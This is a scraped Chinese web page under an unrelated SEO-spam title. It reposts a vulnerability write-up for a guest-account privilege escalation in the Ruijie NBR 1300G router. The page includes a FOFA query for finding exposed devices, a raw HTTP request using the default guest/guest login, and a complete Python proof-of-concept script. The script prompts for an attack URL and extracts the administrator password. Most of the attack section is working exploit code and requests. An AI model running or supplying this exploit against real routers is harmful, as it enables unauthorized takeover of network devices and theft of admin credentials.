您的位置:首页 > 新闻 > 资讯 > 简单的个人简历网页代码_成都智 小程序开发_网络营销课程总结与心得体会_南宁百度seo排名优化

简单的个人简历网页代码_成都智 小程序开发_网络营销课程总结与心得体会_南宁百度seo排名优化

2024/10/5 16:00:57 来源:https://blog.csdn.net/2301_77012231/article/details/142610691  浏览:    关键词:简单的个人简历网页代码_成都智 小程序开发_网络营销课程总结与心得体会_南宁百度seo排名优化
简单的个人简历网页代码_成都智 小程序开发_网络营销课程总结与心得体会_南宁百度seo排名优化

漏洞描述

锐捷NBR 1300G路由器 越权CLI命令执行漏洞,guest账户可以越权获取管理员账号密码

漏洞复现

FOFA

title="锐捷网络 --NBR路由器--登录界面"

请求包

POST /WEB_VMS/LEVEL15/ HTTP/1.1
Host: 
Connection: keep-alive
Content-Length: 73
Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: auth=; user=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1command=show version&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.

测试发现执行其他命令需要权限,查看手册发现存在低权限 guest账户(guest/guest)

登录后发送请求包,执行CLI命令 (show webmaster user) 查看用户配置账号密码

成功获取所有用户的账号密码

webmaster level 0 username admin password guest
webmaster level 0 username guest password guest

漏洞POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.techimport base64
import requests
import random
import re
import json
import sysdef title():print('+------------------------------------------')print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')print('+  \033[34mVersion: 锐捷NBRNBR1300G 路由器 越权CLI命令执行漏洞                    \033[0m')print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')print('+------------------------------------------')def POC_1(target_url):vuln_url = target_url + "/WEB_VMS/LEVEL15/"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="}data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'try:response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))if "webmaster" in response.text and " password" in response.text and response.status_code == 200:user_data = re.findall(r'webmaster level 0 username admin password (.*?)<OPTION>', response.text)[0]print("\033[36m[o] 成功获取, 管理员用户账号密码为: admin/{} \033[0m".format(user_data))else:print("\033[31m[x] 请求失败:{} \033[0m")except Exception as e:print("\033[31m[x] 请求失败:{} \033[0m".format(e))sys.exit(0)if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))POC_1(target_url)

执行效果

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com